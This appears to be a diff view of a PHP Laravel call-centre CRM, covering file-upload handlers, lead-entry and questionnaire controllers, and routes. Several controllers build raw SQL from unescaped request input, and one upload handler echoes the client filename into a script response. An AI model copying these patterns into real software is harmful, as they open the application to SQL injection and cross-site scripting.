| 1193 | if($size>10&&$size<100*1024*1024) | ||
| 1194 | { | ||
| 1195 | $kfile=new KFileLib(); | ||
| 1196 | $kfile->saveFileToDisk(Auth::user()->id."/ckeditor/".$origname,$file->getRealPath(),$file->getMimeType()); | ||
| 1197 | |||
| 1198 | $message = ''; | ||
| 1199 | } | ||
| 1200 | |||
| 1201 | return Response::make("<script type='text/javascript'> window.parent.CKEDITOR.tools.callFunction($funcNum, '$url$origname', '$message')</script>"); | ||
| 1202 | |||
| 1203 | } | ||
| 1204 | public function authorVideoPackageUpload() | ||
| 1205 | { | ||
| 1206 | $file = Input::file('file'); | ||
| 1207 | $origname = $file->getClientOriginalName(); | ||
| 1208 | $ext = $file->getClientOriginalExtension(); | ||
| 1209 | $size = $file->getSize(); | ||
| 1210 | $basedirtmp=storage_path("app/temp"); | ||
| 1211 | if(!file_exists($basedirtmp))File::makeDirectory($basedirtmp); | ||
| 1212 | |||
| 1213 | $kfile=new KFileLib(); | ||
| 1214 | |||
| 1215 | Session::forget('lastuploadedfile'); | ||
| 1216 | Session::forget('lastuploadedfileext'); | ||
| 1217 | Session::forget('lastuploadedfilesize'); | ||
| 1218 | if($size>10&&$size<500*1024*1024) | ||
| 1219 | { | ||
| 1220 | $filename=$origname; | ||
| 1221 | if(Input::has("contextcourse"))$filename=Input::get("contextcourse").".".$ext; | ||
| 1222 | |||
| 1223 | $kfile->saveFileToDisk(Auth::user()->id."/contentfiles/$filename",$file->getRealPath(),$file->getMimeType());//Not Needed to save original file to s3??? | ||
| 1224 | $file->move($basedirtmp,Auth::user()->id."lastuploadedfile");//keep local copy for now | ||
| 1225 | |||
| 1226 | Session::put('lastuploadedfile', $filename); | ||
| 1227 | Session::put('lastuploadedfileext', $ext); | ||
| 1228 | Session::put('lastuploadedfilesize', $size); | ||
| 1229 | } | ||
| 1230 | |||
| 1231 | return Response::make(";;",200); | ||
| 1232 | } | ||
| 1233 | public function authorVideoUpload() | ||
| 1234 | { | ||
| 1235 | $file = Input::file('file'); | ||
| 1236 | $origname = $file->getClientOriginalName(); | ||
| 1237 | $ext = $file->getClientOriginalExtension(); | ||
| 1238 | $size = $file->getSize(); | ||
| 1239 | $basedirtmp=storage_path("app/temp"); | ||
| 1240 | if(!file_exists($basedirtmp))File::makeDirectory($basedirtmp); | ||
| 1241 | |||
| 1242 | $kfile=new KFileLib(); | ||
| 1243 | |||
| 1244 | Session::forget('lastuploadedfile'); | ||
| 1245 | Session::forget('lastuploadedfileext'); | ||
| 1246 | Session::forget('lastuploadedfilesize'); | ||
| 1247 | if($size>10&&$size<500*1024*1024) | ||
| 1248 | { | ||
| 1249 | $filename=$origname; | ||
| 1250 | if(Input::has("contextcourse"))$filename=Input::get("contextcourse").".".$ext; | ||
| 1251 | |||
| 1252 | $kfile->saveFileToDisk(Auth::user()->id."/contentfiles/$filename",$file->getRealPath(),$file->getMimeType());//Not Needed to save original file to s3??? | ||
| 1253 | $file->move($basedirtmp,Auth::user()->id."lastuploadedfile");//keep local copy for now | ||
| 1254 | |||
| 1255 | Session::put('lastuploadedfile', $filename); | ||
| 1256 | Session::put('lastuploadedfileext', $ext); | ||
| 1257 | Session::put('lastuploadedfilesize', $size); | ||
| 1258 | } | ||
| 1259 | |||
| 1260 | return Response::make(";;",200); | ||
| 1261 | } | ||
| 1262 | public function authorAttachFile() | ||
| 1263 | { | ||
| 1264 | $file = Input::file('file'); | ||
| 1265 | $origname = $file->getClientOriginalName(); | ||
| 1266 | $ext = $file->getClientOriginalExtension(); | ||
| 1267 | $size = $file->getSize(); | ||
| 1268 | $basedirtmp=storage_path("app/temp"); | ||
| 1269 | if(!file_exists($basedirtmp))File::makeDirectory($basedirtmp); | ||
| 1270 | |||
| 1271 | $kfile=new KFileLib(); | ||
| 1272 | |||
| 1273 | Session::forget('lastuploadedfile'); | ||
| 1274 | Session::forget('lastuploadedfileext'); | ||
| 1275 | Session::forget('lastuploadedfilesize'); | ||
| 1276 | if($size>10&&$size<100*1024*1024) | ||
| 1277 | { | ||
| 1278 | $kfile->saveFileToDisk(Auth::user()->id."/contentfiles/$origname",$file->getRealPath(),$file->getMimeType()); | ||
| 1279 | $file->move($basedirtmp,Auth::user()->id."lastuploadedfile");//keep local copy for now | ||
| 1280 | |||
| 1281 | Session::put('lastuploadedfile', $origname); | ||
| 1282 | Session::put('lastuploadedfileext', $ext); | ||
| 1283 | Session::put('lastuploadedfilesize', $size); | ||
| 1284 | } | ||
| 1285 | |||
| 1286 | return Response::make(";;",200); | ||
| 1287 | } | ||
| 1288 | public function cklistfiles() | ||
| 1289 | { | ||
| 1290 | |||
| 1291 | |||
| 1292 | return Response::make("NA"); | ||
| 1293 | } | ||
| 1294 | private function communitylogoupload() | ||
| 1295 | { | ||
| 1296 | |||
| 1297 | } | ||
| 1298 | public function generateRandomString($length = 10) | ||
| 1299 | { | ||
| 1300 | $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; | ||
| 1301 | $randomString = ''; | ||
| 1302 | for ($i = 0; $i < $length; $i++) { | ||
| 1303 | $randomString .= $characters[rand(0, strlen($characters) - 1)]; | ||
| 1304 | } | ||
| 1305 | return $randomString; | ||
| 1306 | } | ||
| 1307 | public function ajaxerror() | ||
| 1308 | { | ||
| 1309 | $email=Config::get("app.email"); | ||
| 1310 | $user="guest";if(Auth::check())$user=Auth::user()->id." ".Auth::user()->dispname()." ".Auth::user()->username; | ||
| 1311 | $ip=Request::getClientIp(); | ||
| 1312 | $errorArr=array('xhr'=>Input::get("xhr"),'status'=>Input::get('status'),'error'=>Input::get('error'),'user'=>$user,'ip'=>$ip); | ||
| 1313 | |||
| 1314 | $key=$user.$ip.'ajaxerror'.Request::path(); | ||
| 1315 | if(Cache::get($key,'')!=Input::get('status').Input::get('error')&&Cache::get($key.'cnt',0)<10) | ||
| 1316 | { | ||
| 1317 | Cache::put($key,Input::get('status').Input::get('error'), 24*60);//minutes in 1 day | ||
| 1318 | Cache::put($key.'cnt',Cache::get($key.'cnt',0)+1, 24*60); | ||
| 1319 | |||
| 1320 | Mail::send('emails.ajaxerror', $errorArr, function($message) use ($email) | ||
| 1321 | { | ||
| 1322 | $message->to($email, $email)->subject(Config::get("app.name")." : Error"); | ||
| 1323 | }); | ||
| 1324 | } | ||
| 1325 | } | ||
| 1326 | |||
| 1327 | public function unsubscribe() | ||
| 1328 | { | ||
| 1329 | $key=explode("|",Crypt::decrypt(Input::get("key"))); | ||
| 1330 | $suser=User::find($key[0]); | ||
| 1331 | |||
| 1332 | if(Auth::check()) | ||
| 1333 | { | ||
| 1334 | $tuser=Auth::user(); | ||
| 1335 | $dataarr=$tuser->meta(); | ||
| 1336 | if(!isset($dataarr['notifyemailsettings']))$dataarr['notifyemailsettings']=array(); | ||
| 1337 | if(!isset($dataarr['notifyemailsettings'][$key[1]]))$dataarr['notifyemailsettings'][$key[1]]=1; | ||
| 1338 | |||
| 1339 | $dataarr['notifyemailsettings'][$key[1]]=0; | ||
| 1340 | |||
| 1341 | $tuser->meta=json_encode($dataarr); | ||
| 1342 | $tuser->save(); | ||
| 1343 | |||
| 1344 | return Response::make("<h2><center>Unsubscribe Successful from this Category."); | ||
| 1345 | } | ||
| 1346 | else | ||
| 1347 | { | ||
| 1348 | return Response::make("<h2><center>Error : User Not Logged In"); | ||
| 1349 | } | ||
| 1350 | |||
| 1351 | } | ||
| 1352 | |||
| 1353 | public function userfiles($path) | ||
| 1354 | { | ||
| 1355 | $kfile=new KFileLib(); | ||
| 1356 | if($kfile->exists($path)) | ||
| 1357 | { | ||
| 1358 | $file=$kfile->getObject($path); | ||
| 1359 | $mime=$kfile->mimeType($path); | ||
| 1360 | |||
| 1361 | $ext=strtolower(\File::extension($path)); | ||
| 1362 | if($ext=="css")$mime="text/css"; | ||
| 1363 | |||
| 1364 | return Response::make($file,200,array('content-type' => $mime,'Expires'=>date(DATE_RFC822,strtotime(" 30 day")))); | ||
| 1365 | } | ||
| 1366 | else | ||
| 1367 | { | ||
| 1368 | return Response::make("",404); | ||
| 1369 | } | ||
| 1370 | } | ||
| 1371 | |||
| 1372 | } |
application/app/Http/Controllers/LeadEntryFormController.php
100755 → 100644
| ... | @@ -28,75 +28,75 @@ class LeadEntryFormController extends Controller | ... | @@ -28,75 +28,75 @@ class LeadEntryFormController extends Controller |
| 28 | $call_status=""; | 28 | $call_status=""; |
| 29 | $record_id=""; | 29 | $record_id=""; |
| 30 | $crm_id=""; | 30 | $crm_id=""; |
| 31 | $connected_number=""; | ||
| 31 | $varid=Input::get('varid'); | 32 | $varid=Input::get('varid'); |
| 32 | $mobile=Input::get('mobile'); | 33 | $mobile=Input::get('mobile'); |
| 33 | $client=Input::get('client'); | 34 | $client=Input::get('client'); |
| 34 | $clientcode=Input::get('clientcode'); | 35 | $clientcode=Input::get('clientcode'); |
| 35 | $firstname=Input::get('firstname'); | 36 | $firstname=Input::get('firstname'); |
| 37 | $br_code=Input::get('br_code'); | ||
| 38 | $br_name=Input::get('br_name'); | ||
| 39 | $lg_code=Input::get('lg_code'); | ||
| 40 | $processing_entity=Input::get('processing_entity'); | ||
| 41 | $lead_owner=Input::get('lead_owner'); | ||
| 42 | $lead_priority=Input::get('lead_priority'); | ||
| 36 | $product = Input::get("product"); | 43 | $product = Input::get("product"); |
| 37 | $customer_name = Input::get("customer_name"); | 44 | $customer_profile=Input::get('customer_profile'); |
| 38 | $mobile_number = Input::get("mobile_number"); | 45 | $remarks=Input::get('remarks'); |
| 39 | $city = Input::get("city"); | ||
| 40 | $state = Input::get("state"); | ||
| 41 | $agent_memo = Input::get("agent_memo"); | ||
| 42 | $customer_memo = Input::get("customer_memo"); | ||
| 43 | $remarks = Input::get("remarks"); | ||
| 44 | $transfer_memo = Input::get("transfer_memo"); | ||
| 45 | $address=Input::get("address"); | ||
| 46 | $user_id=Auth::user()->id; | 46 | $user_id=Auth::user()->id; |
| 47 | $crmcallDetails=CRMCall::where('number','like','%'.substr($mobile,-10).'%')->orderBy("created_at","DESC")->first(); | 47 | /*$crmcallDetails=CRMCall::where('number','like','%'.substr($mobile,-10).'%')->orderBy("created_at","DESC")->first();*/ |
| 48 | |||
| 49 | $crmcallDetails=CRMCall::where('crm_id','=',$varid)->orderBy("created_at","DESC")->first(); | ||
| 48 | if($crmcallDetails) | 50 | if($crmcallDetails) |
| 49 | { | 51 | { |
| 50 | $call_id = $crmcallDetails->id; | 52 | $call_id = $crmcallDetails->id; |
| 51 | $call_status = $crmcallDetails->status; | 53 | $call_status = $crmcallDetails->status; |
| 52 | $crm_id = $crmcallDetails->crm_id; | 54 | $crm_id = $crmcallDetails->crm_id; |
| 55 | $connected_number = $crmcallDetails->number; | ||
| 53 | } | 56 | } |
| 54 | 57 | ||
| 55 | $setracingCutomer = array(); | 58 | //$setracingCutomer = array(); |
| 56 | 59 | $setleadentry = array(); | |
| 57 | 60 | ||
| 58 | $setracingCutomer[]="product='$product'"; | 61 | $setleadentry[]="br_code='$br_code'"; |
| 59 | $setracingCutomer[]="customer_name='$customer_name'"; | 62 | $setleadentry[]="br_name='$br_name'"; |
| 60 | $setracingCutomer[]="mobile_number='$mobile_number'"; | 63 | $setleadentry[]="lg_code='$lg_code'"; |
| 61 | $setracingCutomer[]="city='$city'"; | 64 | $setleadentry[]="processing_entity='$processing_entity'"; |
| 62 | $setracingCutomer[]="state='$state'"; | 65 | $setleadentry[]="lead_owner='$lead_owner'"; |
| 63 | $setracingCutomer[]="agent_memo='$agent_memo'"; | 66 | $setleadentry[]="product='$product'"; |
| 64 | $setracingCutomer[]="customer_memo='$customer_memo'"; | 67 | $setleadentry[]="lead_priority='$lead_priority'"; |
| 65 | $setracingCutomer[]="remarks='$remarks'"; | 68 | $setleadentry[]="customer_profile='$customer_profile'"; |
| 66 | $setracingCutomer[]="transfer_memo='$transfer_memo'"; | 69 | $setleadentry[]="remarks='$remarks'"; |
| 67 | $setracingCutomer[]="address='$address'"; | 70 | $setleadentry[]="connected_number='$connected_number'"; |
| 68 | $setracingCutomer[]="mobile='$mobile'"; | 71 | $setleadentry[]="mobile='$mobile'"; |
| 69 | $setracingCutomer[]="client='$client'"; | 72 | $setleadentry[]="client='$client'"; |
| 70 | $setracingCutomer[]="clientcode='$clientcode'"; | 73 | $setleadentry[]="clientcode='$clientcode'"; |
| 71 | $setracingCutomer[]="firstname='$firstname'"; | 74 | $setleadentry[]="firstname='$firstname'"; |
| 72 | $setracingCutomer[]="user_id='$user_id'"; | 75 | $setleadentry[]="customer_name='$firstname'"; |
| 73 | $setracingCutomer[]="call_id='$call_id'"; | 76 | $setleadentry[]="user_id='$user_id'"; |
| 74 | $setracingCutomer[]="record_id='$varid'"; | 77 | $setleadentry[]="call_id='$call_id'"; |
| 78 | $setleadentry[]="record_id='$varid'"; | ||
| 75 | 79 | ||
| 76 | $setracingCut=implode(",",$setracingCutomer); | 80 | $setleadenter=implode(",",$setleadentry); |
| 77 | 81 | ||
| 78 | $leadFormrecordid = DB::table("lead_form")->where("record_id","=",$varid)->select('record_id')->first(); | 82 | $leadFormrecordid = DB::table("lead_form")->where("record_id","=",$varid)->where("call_id","=",$call_id)->select('record_id','call_id')->first(); |
| 79 | if($leadFormrecordid) | 83 | if($leadFormrecordid) |
| 80 | { | 84 | { |
| 81 | $record_id=$leadFormrecordid->record_id; | 85 | $record_id=$leadFormrecordid->record_id; |
| 86 | $leadcallid=$leadFormrecordid->call_id; | ||
| 82 | } | 87 | } |
| 83 | 88 | ||
| 84 | if($call_status=='ANSWER' && $crm_id==$varid) | 89 | if($record_id==$varid && $leadcallid==$call_id) |
| 85 | { | ||
| 86 | if($record_id==$varid) | ||
| 87 | { | 90 | { |
| 88 | DB::statement("update lead_form set $setracingCut,updated_at=now() where record_id='$varid'"); | 91 | DB::statement("update lead_form set $setleadenter,updated_at=now() where record_id='$varid' and call_id='$call_id'"); |
| 89 | } | 92 | } |
| 90 | else | 93 | else |
| 91 | { | 94 | { |
| 92 | DB::statement("insert into lead_form set $setracingCut,created_at=now()"); | 95 | DB::statement("insert into lead_form set $setleadenter,created_at=now()"); |
| 93 | } | ||
| 94 | }else | ||
| 95 | { | ||
| 96 | return "<script>simpleNotification('error','topRight','Please Get on call first');</script>"; | ||
| 97 | } | 96 | } |
| 98 | 97 | ||
| 99 | 98 | ||
| 99 | |||
| 100 | return "<script>simpleNotification('success','topRight','Customer Details Saved Successfully');</script>"; | 100 | return "<script>simpleNotification('success','topRight','Customer Details Saved Successfully');</script>"; |
| 101 | } | 101 | } |
| 102 | 102 | ... | ... |
application/app/Http/Controllers/MessageController.php
100755 → 100644
File mode changed
application/app/Http/Controllers/NotificationController.php
100755 → 100644
File mode changed
| 1 | <?php | ||
| 2 | |||
| 3 | namespace App\Http\Controllers; | ||
| 4 | |||
| 5 | use Auth; | ||
| 6 | use Input; | ||
| 7 | use Config; | ||
| 8 | use Session; | ||
| 9 | use App\Http\Controllers; | ||
| 10 | use App\Http\Requests; | ||
| 11 | use Illuminate\Http\Request; | ||
| 12 | use DB; | ||
| 13 | use Log; | ||
| 14 | use App\Models\Group; | ||
| 15 | use App\Models\User; | ||
| 16 | use App\Models\CRMCall; | ||
| 17 | |||
| 18 | class OneAssistController extends Controller | ||
| 19 | { | ||
| 20 | public function __construct() | ||
| 21 | { | ||
| 22 | $this->middleware('auth'); | ||
| 23 | //$this->middleware('module_access'); | ||
| 24 | } | ||
| 25 | |||
| 26 | public function saveOneAssistFormDetails() | ||
| 27 | { | ||
| 28 | $call_status=""; | ||
| 29 | $record_id=""; | ||
| 30 | $crm_id=""; | ||
| 31 | $call_number=""; | ||
| 32 | $varid=Input::get('varid'); | ||
| 33 | $mobile=Input::get('mobile'); | ||
| 34 | $client=Input::get('client'); | ||
| 35 | $cod_cust=Input::get('clientcode'); | ||
| 36 | $ucic_id=Input::get('ucicid_clientcode'); | ||
| 37 | $firstname=Input::get('customer_name'); | ||
| 38 | $unit=Input::get('unit'); | ||
| 39 | $emailid=Input::get('emailid'); | ||
| 40 | $remarks=Input::get('agent_remarks'); | ||
| 41 | $cust_remarks=Input::get('cust_remarks'); | ||
| 42 | $user_id=Auth::user()->id; | ||
| 43 | /*$crmcallDetails=CRMCall::where('number','like','%'.substr($mobile,-10).'%')->orderBy("created_at","DESC")->first();*/ | ||
| 44 | |||
| 45 | |||
| 46 | //echo "mobile-----".$mobile."-----customer name---".$firstname; | ||
| 47 | $crmcallDetails=CRMCall::where('crm_id','=',$varid)->orderBy("created_at","DESC")->first(); | ||
| 48 | if($crmcallDetails) | ||
| 49 | { | ||
| 50 | $created_at = $crmcallDetails->created_at; | ||
| 51 | $call_id = $crmcallDetails->id; | ||
| 52 | $call_status = $crmcallDetails->status; | ||
| 53 | $crm_id = $crmcallDetails->crm_id; | ||
| 54 | $call_number = $crmcallDetails->number; | ||
| 55 | } | ||
| 56 | |||
| 57 | /*$remarks = DB::table("full_remark")->where("call_id","=",$call_id)->select("fullremark","DESC")->first();*/ | ||
| 58 | |||
| 59 | //$setracingCutomer = array(); | ||
| 60 | $setoaentry = array(); | ||
| 61 | |||
| 62 | |||
| 63 | $setoaentry[]="agent_remarks='$remarks'"; | ||
| 64 | $setoaentry[]="call_number='$call_number'"; | ||
| 65 | $setoaentry[]="mobile='$mobile'"; | ||
| 66 | $setoaentry[]="pbcode='$client'"; | ||
| 67 | $setoaentry[]="customer_name='$firstname'"; | ||
| 68 | $setoaentry[]="user_id='$user_id'"; | ||
| 69 | $setoaentry[]="call_id='$call_id'"; | ||
| 70 | $setoaentry[]="record_id='$varid'"; | ||
| 71 | $setoaentry[]="emailid='$emailid'"; | ||
| 72 | $setoaentry[]="unit='$unit'"; | ||
| 73 | $setoaentry[]="cod_cust='$cod_cust'"; | ||
| 74 | $setoaentry[]="ucic_id='$ucic_id'"; | ||
| 75 | $setoaentry[]="call_created_at='$created_at'"; | ||
| 76 | $setoaentry[]="cust_remarks='$cust_remarks'"; | ||
| 77 | |||
| 78 | $setoaenter=implode(",",$setoaentry); | ||
| 79 | |||
| 80 | $oaFormrecordid = DB::table("oa_leadform")->where("record_id","=",$varid)->where("call_id","=",$call_id)->select('record_id','call_id')->first(); | ||
| 81 | if($oaFormrecordid) | ||
| 82 | { | ||
| 83 | $record_id=$oaFormrecordid->record_id; | ||
| 84 | $oacallid=$oaFormrecordid->call_id; | ||
| 85 | } | ||
| 86 | |||
| 87 | |||
| 88 | |||
| 89 | if($record_id==$varid && $oacallid==$call_id) | ||
| 90 | { | ||
| 91 | DB::statement("update oa_leadform set $setoaenter,updated_at=now() where record_id='$varid' and call_id='$call_id'"); | ||
| 92 | } | ||
| 93 | else | ||
| 94 | { | ||
| 95 | DB::statement("insert into oa_leadform set $setoaenter,created_at=now()"); | ||
| 96 | } | ||
| 97 | |||
| 98 | |||
| 99 | |||
| 100 | return "<script>simpleNotification('success','topRight','Customer Details Saved Successfully');</script>"; | ||
| 101 | } | ||
| 102 | |||
| 103 | } |
| 1 | <?php namespace App\Http\Controllers; | ||
| 2 | |||
| 3 | use Auth; | ||
| 4 | use Input; | ||
| 5 | use Config; | ||
| 6 | use Session; | ||
| 7 | use App\Http\Controllers; | ||
| 8 | use App\Http\Requests; | ||
| 9 | use Illuminate\Http\Request; | ||
| 10 | use DB; | ||
| 11 | use Log; | ||
| 12 | use App\Models\Group; | ||
| 13 | use App\Models\User; | ||
| 14 | use App\Models\CRMCall; | ||
| 15 | |||
| 16 | class QuestionareController extends Controller | ||
| 17 | { | ||
| 18 | public function __construct() | ||
| 19 | { | ||
| 20 | $this->middleware('auth'); | ||
| 21 | //$this->middleware('module_access'); | ||
| 22 | } | ||
| 23 | |||
| 24 | public function loadQuestions($qid='', $optid='', $level=1) | ||
| 25 | { | ||
| 26 | if($qid == '') { | ||
| 27 | $auth_ques_count = 5; | ||
| 28 | $where = 'id = 1'; | ||
| 29 | $auth_questions = DB::select('SELECT * FROM authentication_questions_test ORDER BY RAND() LIMIT '.$auth_ques_count ); | ||
| 30 | $query = 'SELECT * FROM question WHERE '.$where; | ||
| 31 | $questions = DB::select($query); | ||
| 32 | |||
| 33 | return view('layout.module.questionare.questions',compact('qid','questions', 'auth_questions', 'auth_ques_count')); | ||
| 34 | } | ||
| 35 | else { | ||
| 36 | $where = 'question_no IN (SELECT question_id FROM question_tree WHERE parent_id = '.$qid.' AND parent_opt = "opt_'.$optid.'")'; | ||
| 37 | $query = 'SELECT * FROM question WHERE '.$where; | ||
| 38 | $questions = DB::select($query); | ||
| 39 | return view('layout.module.questionare.childquestions',compact('qid','questions','auth_questions','level')); | ||
| 40 | } | ||
| 41 | } | ||
| 42 | |||
| 43 | public function saveQuestionAire() | ||
| 44 | { | ||
| 45 | $varid=Input::get('varid'); | ||
| 46 | $questionDateTime=Input::get('questionDateTime'); | ||
| 47 | |||
| 48 | $questionArray = $_POST['questionArray']; | ||
| 49 | $questionArray = json_decode($questionArray); | ||
| 50 | //$questionArray = explode(",",$questionArray); | ||
| 51 | $questionArray=(array)$questionArray; | ||
| 52 | |||
| 53 | $authQuestionArray = $_POST['authQuestionArray']; | ||
| 54 | $authQuestionArray = json_decode($authQuestionArray); | ||
| 55 | $authQuestionArray=(array)$authQuestionArray; | ||
| 56 | |||
| 57 | $recordDetails = DB::table('records')->where('id','=',$varid)->select('*')->first(); | ||
| 58 | |||
| 59 | $user_id = Auth::user()->username; | ||
| 60 | $cust_id = $recordDetails->clientcode; | ||
| 61 | $name = $recordDetails->firstname; | ||
| 62 | $mobile = $recordDetails->mobile; | ||
| 63 | |||
| 64 | $crmcallDetails=CRMCall::where('crm_id','=',$varid)->orderBy("created_at","DESC")->first(); | ||
| 65 | |||
| 66 | $call_id = $crmcallDetails->id; | ||
| 67 | |||
| 68 | foreach($questionArray as $key=> $quesArray){ | ||
| 69 | $explodeQues = explode("-", $key); | ||
| 70 | |||
| 71 | $ques = $explodeQues[1]; | ||
| 72 | |||
| 73 | DB::statement("insert into questionaire_details set created_at='".date("Y-m-d H:i:s")."', updated_at='".date("Y-m-d H:i:s")."', user_id='".$user_id."',cust_id='".$cust_id."',call_id='".$call_id."',name='".$name."',number='".$mobile."',question_time='".$questionDateTime."',auth_question_1='".$authQuestionArray['auth_0']->auth_ques."',auth_opt_1='".trim($authQuestionArray['auth_0']->auth_opt)."',auth_question_2='".$authQuestionArray['auth_1']->auth_ques."',auth_opt_2='".trim($authQuestionArray['auth_1']->auth_opt)."',auth_question_3='".$authQuestionArray['auth_2']->auth_ques."',auth_opt_3='".trim($authQuestionArray['auth_2']->auth_opt)."',auth_question_4='".$authQuestionArray['auth_3']->auth_ques."',auth_opt_4='".trim($authQuestionArray['auth_3']->auth_opt)."',auth_question_5='".$authQuestionArray['auth_4']->auth_ques."',auth_opt_5='".trim($authQuestionArray['auth_4']->auth_opt)."',question='".$ques."',primary_question='".$quesArray->prim_ques."',primary_response='".trim($quesArray->prim_response)."',primary_text='".$quesArray->prim_txt."',followup_question='".$quesArray->fol_ques."',followup_response='".trim($quesArray->fol_response)."',followup_text='".$quesArray->fol_txt."',secondary_question='".$quesArray->sec_ques."',secondary_response='".trim($quesArray->sec_response)."',secondary_text='".$quesArray->sec_txt."'"); | ||
| 74 | } | ||
| 75 | return "<div class='alert alert-success'><strong>All Questions Saved Successfully!</strong></div>"; | ||
| 76 | } | ||
| 77 | } | ||
| 78 | |||
| 79 |
application/app/Http/Controllers/RacingCustomerController.php
100755 → 100644
File mode changed
application/app/Http/Controllers/RoleController.php
100755 → 100644
File mode changed
application/app/Http/Controllers/SocialController.php
100755 → 100644
File mode changed
application/app/Http/Controllers/TaskController.php
100755 → 100644
File mode changed
application/app/Http/Controllers/UserController.php
100755 → 100644
File mode changed
application/app/Http/Controllers/WebController.php
100755 → 100644
File mode changed
application/app/Http/Controllers/proper_DialerController.php
100755 → 100644
File mode changed
application/app/Http/Kernel.php
100755 → 100644
File mode changed
application/app/Http/Middleware/AfterFilter.php
100755 → 100644
File mode changed
application/app/Http/Middleware/Authenticate.php
100755 → 100644
File mode changed
application/app/Http/Middleware/BeforeFilter.php
100755 → 100644
File mode changed
application/app/Http/Middleware/EncryptCookies.php
100755 → 100644
File mode changed
application/app/Http/Middleware/ModuleAccess.php
100755 → 100644
File mode changed
application/app/Http/Middleware/RedirectIfAuthenticated.php
100755 → 100644
File mode changed
application/app/Http/Middleware/VerifyCsrfToken.php
100755 → 100644
File mode changed
application/app/Http/Requests/Request.php
100755 → 100644
File mode changed
application/app/Http/routes.php
100755 → 100644
| ... | @@ -87,11 +87,12 @@ Route::group(['middleware' => ['web']], function () { | ... | @@ -87,11 +87,12 @@ Route::group(['middleware' => ['web']], function () { |
| 87 | 87 | ||
| 88 | //Addition of Lead Entry Form | 88 | //Addition of Lead Entry Form |
| 89 | Route::post('leadentryform', array('uses'=> 'LeadEntryFormController@saveLeadEntryFormDetails', 'as'=>'upload.rleadform')); | 89 | Route::post('leadentryform', array('uses'=> 'LeadEntryFormController@saveLeadEntryFormDetails', 'as'=>'upload.rleadform')); |
| 90 | Route::post('oaentryform', array('uses'=> 'OneAssistController@saveOneAssistFormDetails', 'as'=>'upload.oaleadform')); | ||
| 90 | 91 | ||
| 91 | Route::post('racingcustupdate',array('uses'=> 'RacingCustomerController@updateracingcust', 'as'=>'upload.updateraccust')); | 92 | Route::post('racingcustupdate',array('uses'=> 'RacingCustomerController@updateracingcust', 'as'=>'upload.updateraccust')); |
| 92 | Route::get('dialmode', array('uses'=> 'DialModeController@dialmodeview', 'as'=>'view.module')); | 93 | Route::get('dialmode', array('uses'=> 'DialModeController@dialmodeview', 'as'=>'view.module')); |
| 93 | Route::post('dialmodeassign', array('uses'=> 'DialModeController@dialmodeassign', 'as'=>'assign.dialmodes')); | 94 | Route::post('dialmodeassign', array('uses'=> 'DialModeController@dialmodeassign', 'as'=>'assign.dialmodes')); |
| 94 | //for the rlp pbwise | 95 | ///for the rlp pbwise |
| 95 | Route::get('rlp', array('uses'=> 'RecordController@rlpPbwise', 'as'=>'rlppb.comments')); | 96 | Route::get('rlp', array('uses'=> 'RecordController@rlpPbwise', 'as'=>'rlppb.comments')); |
| 96 | 97 | ||
| 97 | }); | 98 | }); | ... | ... |
application/app/Jobs/.KFormLib.php.swo
100755 → 100644
No preview for this file type
application/app/Jobs/.KFormLib.php.swp
100755 → 100644
No preview for this file type
application/app/Jobs/.KHRMSLib.php.swp
100755 → 100644
No preview for this file type
| ... | @@ -217,12 +217,29 @@ function makeLabelText($id,$size,$type="text") | ... | @@ -217,12 +217,29 @@ function makeLabelText($id,$size,$type="text") |
| 217 | 217 | ||
| 218 | if(strstr($this->HRDateFilds,$id)){$ro="readonly=readonly";$formatstr='DD.MM.YYYY';} | 218 | if(strstr($this->HRDateFilds,$id)){$ro="readonly=readonly";$formatstr='DD.MM.YYYY';} |
| 219 | 219 | ||
| 220 | if($id=="ucic_id"){ | ||
| 221 | $data="<p style='clear:both;background-color:#e6e5ef;'> | ||
| 222 | <label class=label-small_new style='width:25%'>".$this->HRFieldNames[$id].": </label> | ||
| 223 | <b>$dataarr[$id]</b> | ||
| 224 | <span class=field_desc id='fd$id'>".(($type=="file")?$this->recruitFileLink($dataarr[$id]):'')."</span> | ||
| 225 | <span class=validate_success></span><span class=validate_error></span> | ||
| 226 | </p>"; | ||
| 227 | |||
| 228 | }else{ | ||
| 220 | $data="<p style='clear:both'> | 229 | $data="<p style='clear:both'> |
| 221 | <label class=label-small_new style='width:25%'>".$this->HRFieldNames[$id].": </label> | 230 | <label class=label-small_new style='width:25%'>".$this->HRFieldNames[$id].": </label> |
| 222 | <b>$dataarr[$id]</b> | 231 | <b>$dataarr[$id]</b> |
| 223 | <span class=field_desc id='fd$id'>".(($type=="file")?$this->recruitFileLink($dataarr[$id]):'')."</span> | 232 | <span class=field_desc id='fd$id'>".(($type=="file")?$this->recruitFileLink($dataarr[$id]):'')."</span> |
| 224 | <span class=validate_success></span><span class=validate_error></span> | 233 | <span class=validate_success></span><span class=validate_error></span> |
| 225 | </p>"; | 234 | </p>"; |
| 235 | } | ||
| 236 | |||
| 237 | /*$data="<p style='clear:both'> | ||
| 238 | <label class=label-small_new style='width:25%'>".$this->HRFieldNames[$id].": </label> | ||
| 239 | <b>$dataarr[$id]</b> | ||
| 240 | <span class=field_desc id='fd$id'>".(($type=="file")?$this->recruitFileLink($dataarr[$id]):'')."</span> | ||
| 241 | <span class=validate_success></span><span class=validate_error></span> | ||
| 242 | </p>";*/ | ||
| 226 | 243 | ||
| 227 | return $data; | 244 | return $data; |
| 228 | } | 245 | } |
| ... | @@ -558,10 +575,28 @@ $data.="</div><div style='width:49%;float:left'> | ... | @@ -558,10 +575,28 @@ $data.="</div><div style='width:49%;float:left'> |
| 558 | <label class=label-small_new style='width:25%;' title=''>Callback: </label> | 575 | <label class=label-small_new style='width:25%;' title=''>Callback: </label> |
| 559 | <input class='form_new form_new_amend datetimepicker_dthr' id='dialer_usercallback' name='dialer_usercallback'> | 576 | <input class='form_new form_new_amend datetimepicker_dthr' id='dialer_usercallback' name='dialer_usercallback'> |
| 560 | </p>"; | 577 | </p>"; |
| 561 | $data.="<p style='clear:both'> | 578 | /*$data.="<p style='clear:both'> |
| 562 | <label class=label-small_new style='width:25%;' title=''>Call Remarks: </label> | 579 | <label class=label-small_new style='width:25%;' title=''>Call Remarks: </label> |
| 563 | <textarea id='dialer_userremarks' name='dialer_userremarks' style='width:70%' maxlength=250></textarea> | 580 | <textarea id='dialer_userremarks' name='dialer_userremarks' style='width:70%' maxlength=250></textarea> |
| 581 | </p>";*/ | ||
| 582 | |||
| 583 | $data.="<p style='clear:both'> | ||
